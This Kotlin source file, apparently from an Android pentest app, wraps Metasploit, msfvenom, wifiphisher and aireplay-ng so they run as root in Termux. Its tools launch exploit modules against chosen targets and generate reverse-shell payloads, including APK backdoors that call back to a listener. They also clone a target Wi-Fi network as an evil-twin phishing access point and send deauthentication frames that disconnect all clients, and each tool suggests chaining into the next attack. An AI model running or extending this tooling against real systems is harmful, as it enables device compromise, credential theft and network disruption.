package com.optix.android.tools.exploit

import com.optix.android.domain.model.ParamType
import com.optix.android.domain.model.ToolCategory
import com.optix.android.domain.model.ToolEvent
import com.optix.android.domain.model.ToolMetadata
import com.optix.android.domain.model.ToolParam
import com.optix.android.tools.registry.BaseTool
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.isActive
import kotlinx.coroutines.withContext

/** Metasploit Framework console — Termux bridge. */
class MetasploitTool : BaseTool() {
    override val metadata = ToolMetadata(
        name = "metasploit_termux",
        displayName = "Metasploit (Termux)",
        description = "Full Metasploit Framework — exploit modules, auxiliary scanners, post-exploitation",
        category = ToolCategory.EXPLOITATION,
        requiresRoot = false,
        parameters = listOf(
            ToolParam("module", ParamType.STRING, "Module path (e.g. exploit/multi/handler or auxiliary/scanner/portscan/tcp)"),
            ToolParam("rhosts", ParamType.STRING, "Target IP or CIDR", required = false, defaultValue = ""),
            ToolParam("lhost", ParamType.STRING, "Your IP (for listener)", required = false, defaultValue = ""),
            ToolParam("lport", ParamType.INT, "Listener port", required = false, defaultValue = "4444"),
            ToolParam("payload", ParamType.STRING, "Payload path (e.g. android/meterpreter/reverse_tcp)", required = false, defaultValue = ""),
            ToolParam("extra_options", ParamType.STRING, "Extra option KEY=VALUE pairs separated by comma", required = false, defaultValue = ""),
        ),
    )

    override suspend fun execute(params: Map<String, Any>, emit: suspend (ToolEvent) -> Unit) {
        val module = paramRequired(params, "module")
        val rhosts = param(params, "rhosts") ?: ""
        val lhost = param(params, "lhost") ?: ""
        val lport = paramInt(params, "lport", 4444)
        val payload = param(params, "payload") ?: ""
        val extraOpts = param(params, "extra_options") ?: ""

        emit(ToolEvent.Log("Launching Metasploit module: $module"))
        emit(ToolEvent.Log("Note: First run may take 60+ seconds to initialize Metasploit."))

        val rcCommands = buildString {
            appendLine("use $module")
            if (rhosts.isNotEmpty()) appendLine("set RHOSTS $rhosts")
            if (lhost.isNotEmpty()) appendLine("set LHOST $lhost")
            appendLine("set LPORT $lport")
            if (payload.isNotEmpty()) appendLine("set PAYLOAD $payload")
            extraOpts.split(",").forEach { opt ->
                val kv = opt.trim()
                if (kv.contains("=")) appendLine("set $kv")
            }
            appendLine("run")
        }

        withContext(Dispatchers.IO) {
            try {
                // Write RC file from Kotlin — avoids shell-quoting hazards of embedded newlines/quotes.
                val rcFile = "/sdcard/Optix/optix_msf.rc"
                try {
                    java.io.File(rcFile).writeText(rcCommands)
                } catch (e: Exception) {
                    emit(ToolEvent.Error("Could not write Metasploit RC file: ${e.message}"))
                    emit(ToolEvent.Done)
                    return@withContext
                }

                shellExecutor?.executeTermuxAsRoot("msfconsole", listOf("-q", "-r", rcFile), "metasploit", emit)
            } catch (e: Exception) {
                emit(ToolEvent.Error("Metasploit failed: ${e.message}"))
            }
        }
        emit(ToolEvent.ChainSuggestion("nmap_termux", mapOf("target" to (rhosts.ifBlank { "127.0.0.1" }))))
        emit(ToolEvent.Done)
    }
}

/** MSFVenom payload generator — Termux bridge. */
class MsfVenomTool : BaseTool() {
    override val metadata = ToolMetadata(
        name = "msfvenom_termux",
        displayName = "MSFVenom (Termux)",
        description = "Generate Metasploit payloads: APK backdoors, ELF binaries, Python stagers",
        category = ToolCategory.EXPLOITATION,
        requiresRoot = false,
        parameters = listOf(
            ToolParam("payload", ParamType.ENUM, "Payload type", defaultValue = "android/meterpreter/reverse_tcp",
                enumValues = listOf(
                    "android/meterpreter/reverse_tcp",
                    "linux/x64/meterpreter/reverse_tcp",
                    "linux/x64/shell_reverse_tcp",
                    "python/meterpreter/reverse_tcp",
                    "cmd/unix/reverse_bash",
                    "java/meterpreter/reverse_tcp",
                )),
            ToolParam("lhost", ParamType.STRING, "Your listener IP address"),
            ToolParam("lport", ParamType.INT, "Your listener port", required = false, defaultValue = "4444"),
            ToolParam("output_format", ParamType.ENUM, "Output format", required = false, defaultValue = "raw",
                enumValues = listOf("raw", "apk", "elf", "exe", "py", "sh", "jar")),
            ToolParam("output_file", ParamType.STRING, "Output filename (saved to /sdcard/Optix/)", required = false, defaultValue = "payload"),
        ),
    )

    override suspend fun execute(params: Map<String, Any>, emit: suspend (ToolEvent) -> Unit) {
        val payload = paramRequired(params, "payload")
        val lhost = paramRequired(params, "lhost")
        val lport = paramInt(params, "lport", 4444)
        val format = param(params, "output_format") ?: "raw"
        val outFile = param(params, "output_file") ?: "payload"

        ProcessBuilder("sh", "-c", "mkdir -p /sdcard/Optix").start().waitFor()
        val outPath = "/sdcard/Optix/$outFile.$format"

        emit(ToolEvent.Log("Generating payload: $payload"))
        emit(ToolEvent.Log("LHOST=$lhost  LPORT=$lport  Format=$format"))

        withContext(Dispatchers.IO) {
            try {
                val args = listOf("-p", payload, "LHOST=$lhost", "LPORT=$lport", "-f", format, "-o", outPath)
                shellExecutor?.executeTermuxAsRoot("msfvenom", args, "metasploit", emit)
                emit(ToolEvent.Log("Payload saved to: $outPath"))
            } catch (e: Exception) {
                emit(ToolEvent.Error("MSFVenom failed: ${e.message}"))
            }
        }
        emit(ToolEvent.ChainSuggestion("metasploit_termux", mapOf("lhost" to lhost, "payload" to payload)))
        emit(ToolEvent.Done)
    }
}

/** Evil Twin rogue AP — hardware placeholder. */
class EvilTwinTool : BaseTool() {
    override val metadata = ToolMetadata(
        name = "evil_twin",
        displayName = "Evil Twin AP",
        description = "Rogue access point framework — requires monitor-mode WiFi adapter",
        category = ToolCategory.EXPLOITATION,
        requiresRoot = true,
        parameters = listOf(
            ToolParam("ssid", ParamType.STRING, "Target SSID to clone"),
            ToolParam("bssid", ParamType.STRING, "Target BSSID (MAC address)"),
            ToolParam("channel", ParamType.INT, "WiFi channel", required = false, defaultValue = "6"),
            ToolParam("interface", ParamType.STRING, "Monitor-mode interface (e.g. wlan1)", required = false, defaultValue = "wlan1"),
        ),
    )

    override suspend fun execute(params: Map<String, Any>, emit: suspend (ToolEvent) -> Unit) {
        val ssid = paramRequired(params, "ssid")
        val bssid = paramRequired(params, "bssid")
        val channel = paramInt(params, "channel", 6)
        val iface = param(params, "interface") ?: "wlan1"

        emit(ToolEvent.Log("Evil Twin AP Setup"))
        emit(ToolEvent.Log("Target: $ssid ($bssid) on channel $channel"))
        emit(ToolEvent.Log(""))
        emit(ToolEvent.Log("⚠️  HARDWARE REQUIREMENTS:"))
        emit(ToolEvent.Log("  • External USB WiFi adapter with monitor mode support"))
        emit(ToolEvent.Log("  • OTG adapter to connect USB WiFi to your phone"))
        emit(ToolEvent.Log("  • Recommended chipset: Alfa AWUS036ACS (RTL8811AU)"))
        emit(ToolEvent.Log(""))
        emit(ToolEvent.Log("📦 TERMUX SETUP:"))
        emit(ToolEvent.Log("  pkg install hostapd dnsmasq aircrack-ng"))
        emit(ToolEvent.Log("  git clone https://github.com/wifiphisher/wifiphisher"))
        emit(ToolEvent.Log(""))
        emit(ToolEvent.Log("▶  MANUAL COMMAND:"))
        emit(ToolEvent.Log("  su -c 'python3 ~/wifiphisher/bin/wifiphisher -i $iface --essid $ssid --channel $channel'"))
        emit(ToolEvent.Log(""))
        emit(ToolEvent.Log("Once hardware is configured, this tool will automate the above."))
        emit(ToolEvent.ChainSuggestion("deauth_attack", mapOf("bssid" to bssid, "interface" to iface)))
        emit(ToolEvent.Done)
    }
}

/** Deauthentication attack — hardware placeholder. */
class DeauthAttackTool : BaseTool() {
    override val metadata = ToolMetadata(
        name = "deauth_attack",
        displayName = "Deauth Attack",
        description = "Send 802.11 deauth frames to disconnect WiFi clients — requires monitor-mode adapter",
        category = ToolCategory.EXPLOITATION,
        requiresRoot = true,
        parameters = listOf(
            ToolParam("bssid", ParamType.STRING, "Target AP BSSID (MAC address)"),
            ToolParam("client", ParamType.STRING, "Client MAC to kick (FF:FF:FF:FF:FF:FF for all)", required = false, defaultValue = "FF:FF:FF:FF:FF:FF"),
            ToolParam("count", ParamType.INT, "Number of deauth frames to send", required = false, defaultValue = "10"),
            ToolParam("interface", ParamType.STRING, "Monitor-mode interface", required = false, defaultValue = "wlan1"),
        ),
    )

    override suspend fun execute(params: Map<String, Any>, emit: suspend (ToolEvent) -> Unit) {
        val bssid = paramRequired(params, "bssid")
        val client = param(params, "client") ?: "FF:FF:FF:FF:FF:FF"
        val count = paramInt(params, "count", 10)
        val iface = param(params, "interface") ?: "wlan1"

        emit(ToolEvent.Log("Deauthentication Attack Config:"))
        emit(ToolEvent.Log("  AP: $bssid | Client: $client | Count: $count"))
        emit(ToolEvent.Log(""))
        emit(ToolEvent.Log("⚠️  HARDWARE REQUIREMENTS:"))
        emit(ToolEvent.Log("  • WiFi adapter with monitor mode + packet injection capability"))
        emit(ToolEvent.Log("  • OTG adapter for your phone"))
        emit(ToolEvent.Log(""))
        emit(ToolEvent.Log("📦 TERMUX SETUP:"))
        emit(ToolEvent.Log("  pkg install aircrack-ng"))
        emit(ToolEvent.Log("  su -c 'airmon-ng start wlan0'   ← enables monitor mode"))
        emit(ToolEvent.Log(""))
        emit(ToolEvent.Log("▶  MANUAL COMMAND:"))
        emit(ToolEvent.Log("  su -c 'aireplay-ng --deauth $count -a $bssid -c $client $iface'"))
        emit(ToolEvent.Log(""))

        withContext(Dispatchers.IO) {
            try {
                val args = listOf("--deauth", count.toString(), "-a", bssid, "-c", client, iface)
                shellExecutor?.executeTermuxAsRoot("aireplay-ng", args, "aircrack-ng", emit)
            } catch (e: Exception) {
                emit(ToolEvent.Log("Execution failed: ${e.message} — see manual command above."))
            }
        }
        emit(ToolEvent.ChainSuggestion("evil_twin", mapOf("ssid" to "<TARGET_SSID>", "bssid" to "<TARGET_BSSID>")))
        emit(ToolEvent.Done)
    }
}
